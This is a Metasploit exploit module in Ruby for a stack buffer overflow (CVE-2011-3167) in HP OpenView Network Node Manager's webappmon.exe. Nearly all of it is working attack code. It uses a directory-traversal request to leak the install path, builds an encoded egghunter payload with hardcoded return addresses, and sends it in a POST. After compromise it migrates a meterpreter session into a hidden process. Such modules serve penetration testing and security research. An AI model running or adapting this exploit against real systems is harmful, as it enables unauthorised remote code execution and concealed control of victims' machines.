##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Egghunter

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP OpenView Network Node
				Manager 7.53 prior to NNM_01213 without the SSRT100649 hotfix. By specifying a long
				'textFile' argument when calling the 'webappmon.exe' CGI program, an attacker can
				cause a stack-based buffer overflow and execute arbitrary code.

				The vulnerable code is within the "_OVBuildPath" function within "ov.dll". There
				are no stack cookies, so exploitation is achieved by overwriting the saved return
				address.

				The vulnerability is due to the use of the function "_OVConcatPath" which finally
				uses "strcat" in a insecure way. User controlled data is concatenated to a string
				which contains the OpenView installation path.

				To achieve reliable exploitation a directory traversal in OpenView5.exe
				(OSVDB 44359) is being used to retrieve OpenView logs and disclose the installation
				path. If the installation path cannot be guessed the default installation path
				is used.
			} ,
			'Author'         =>
				[
					'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery
					'juan vazquez', # Metasploit module
					'sinn3r' # Metasploit fu
				],
			'License'     => MSF_LICENSE,
			'References' =>
				[
					[ 'CVE', '2011-3167' ],
					[ 'OSVDB', '76775' ],
					[ 'BID', '50471' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-002/' ],
					[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03054052' ]
				],
			'Payload'	 =>
				{
					'Space' => 950,
					'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0b..0x23)].pack("C*") + [0x26, 0x2b, 0x3c, 0x3e, 0x5b, 0x5d, 0x5e, 0x60, 0x7e, 0x7f].pack("C*"),
					'DisableNops' => true,
					'EncoderOptions' =>
						{
							'BufferRegister'  => 'EDI' # Egghunter jmp edi
						}
				},
			'Platform' => 'win',
			'Targets'	 =>
				[
					[ 'HP OpenView Network Node Manager 7.53 / Windows 2000 SP4 & Windows XP SP3',
						# Patches installed:
						# * ECS_00048
						# * NNM_01128
						# * NNM_01172
						# * NNM_01187
						{
							'Offset'    => 1067,
							'Ret'       => 0x5a41656a, # pop/pop/ret - in ov.dll (v1.30.5.8002)
							'JmpESP'    => 0x5a4251c5, # call esp - in ov.dll
							'EggAdjust' => 4,
							'ReadableAddress' => 0x5a466930 # ov.dll
						}
					]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Nov 01 2011'))

		register_options(
			[
				Opt::RPORT(80),
			], self.class)
	end

	# The following code allows to migrate if having into account
	# that over Windows XP permissions aren't granted on %windir%\system32
	#
	# Code ripped from "modules/post/windows/manage/migrate.rb". See it
	# for more information
	def on_new_session(client)

		if client.type != "meterpreter"
			print_error("NOTE: you must use a meterpreter payload in order to process migration.")
			return
		end

		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

		# Select path and executable to run depending the architecture
		# and the operating system
		if client.sys.config.sysinfo["OS"] =~ /Windows XP/
			windir = client.fs.file.expand_path("%ProgramFiles%")
			cmd="#{windir}\\Windows NT\\Accessories\\wordpad.exe"
		else # Windows 2000
			windir = client.fs.file.expand_path("%windir%")
			if client.sys.config.sysinfo['Architecture'] =~ /x86/
				cmd = "#{windir}\\System32\\notepad.exe"
			else
				cmd = "#{windir}\\Sysnative\\notepad.exe"
			end
		end

		# run hidden
		print_status("Spawning #{cmd.split("\\").last} process to migrate to")
		proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
		target_pid = proc.pid

		begin
			print_good("Migrating to #{target_pid}")
			client.core.migrate(target_pid)
			print_good("Successfully migrated to process #{target_pid}")
		rescue ::Exception => e
			print_error("Could not migrate in to process.")
			print_error(e.to_s)
		end

	end

	# Tries to guess the HP OpenView install dir via the Directory traversal identified
	# by OSVDB 44359.
	# If OSVDB 44359 doesn't allow to retrieve the installation path the default one
	# (C:\Program Files\HP OpenView\) is used.
	# Directory Traversal used:
	# http://host/OvCgi/OpenView5.exe?Context=Snmp&Action=../../../log/setup.log
	def get_install_path

		cgi = '/OvCgi/OpenView5.exe'
		web_session = rand_text_numeric(3)
		my_cookie = "OvOSLocale=English_United States.1252; "
		my_cookie << "OvAcceptLang=en-US; "
		my_cookie << "OvJavaLocale=en_US.Cp1252; "
		my_cookie << "OvWebSession=#{web_session}:AnyUser:"

		payload = "../../../log/setup.log"
		res = send_request_cgi({
			'uri'		  => cgi,
			'cookie' => my_cookie,
			'method'	  => "GET",
			'vars_get' =>
				{
					'Target' => "Main",
					'Scope' => "Snmp",
					'Action' => payload
				}
		}, 5)

		installation_path = ""
		if res and res.code == 200 and
				res.body =~ /([A-Z]:\\.*\\)log/
			print_status("Installation Path Found in #{$1}")
			installation_path = $1
		else
			print_status("Installation Path Not Found using the default")
			installation_path = "C:\\Program Files\\HP OpenView\\"
		end

		return installation_path
	end

	def exploit
		print_status("Trying target #{target.name}...")

		install_path = get_install_path
		install_path << "help\\English_United States.1252"

		eggoptions = {
			:checksum => true,
		}
		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

		[ 'x86/alpha_mixed'].each { |name|
			enc = framework.encoders.create(name)
			if name =~/alpha/
				# If control is transferred to the decoder via "call esp" BufferOfset
				# shoulds be adjusted.
				if target["EggAdjust"] and target["EggAdjust"] > 0
					enc_options = {
						'BufferRegister' => 'ESP',
						'BufferOffset' => target["EggAdjust"]
					}
					enc.datastore.import_options_from_hash(enc_options)
				else
					enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
				end
			end
			hunter = enc.encode(hunter, nil, nil, platform)
		}

		offset = target['Offset'] - install_path.length - egg.length

		my_payload = egg
		my_payload << rand_text_alphanumeric(offset)
		my_payload << [target.ret].pack("V")
		my_payload << rand_text_alphanumeric(4) # Padding
		my_payload << [target["ReadableAddress"]].pack("V")
		my_payload << [target["JmpESP"]].pack("V")
		my_payload << hunter

		buf = "-textFile+#{my_payload}+++++++++++++++++++++++"
		buf << "-appendSelectList+-appendSelectListToTitle+%09%09++++++"
		buf << "-commandHeading+%22Protocol+++++++++Port++++++++Service%22+++++++++++++++++++++++"
		buf << "-dataLine+2+"
		buf << "-commandTitle+%22Services%22+%09%09++++++"
		buf << "-iconName+%22Services%22+++++++++++++++++++++++"
		buf << "-cmd+rnetstat+"
		buf << "-S"

		web_session = rand_text_numeric(3)
		my_cookie = "OvOSLocale=English_United States.1252; "
		my_cookie << "OvAcceptLang=en-US; "
		my_cookie << "OvJavaLocale=en_US.Cp1252; "
		my_cookie << "OvWebSession=#{web_session}:AnyUser:"

		cgi = '/OvCgi/webappmon.exe'

		res = send_request_cgi({
			'uri'       => cgi,
			'cookie'    => my_cookie,
			'method'    => "POST",
			'vars_post' =>
				{
					'ins' => 'nowait',
					'sel' => rand_text_alphanumeric(15),
					'app' => 'IP Tables',
					'act' => 'Services',
					'help' => '',
					'cache' => rand_text_numeric(4)
				},
			'data' => "arg=#{buf}" # Avoid uri encoding
		}, 3)

		if res and res.code != 502
			print_error("Eek! We weren't expecting a response, but we got one")
			if datastore['DEBUG']
				print_line()
				print_error(res.inspect)
			end
		end

		handler

	end

end

=begin

* migrate to %windir%/system32/notepad.exe fails on Windows XP SP3

meterpreter > run post/windows/manage/migrate

[*] Running module against HOME-F006222D6C
[*] Current server process: webappmon.exe (7064)
[*] Spawning notepad.exe process to migrate to
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
[-] Call stack:
[-]   /projects/exploiting/trunk/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:163:in `execute'
[-]   (eval):80:in `create_temp_proc'
[-]   (eval):49:in `run'
=end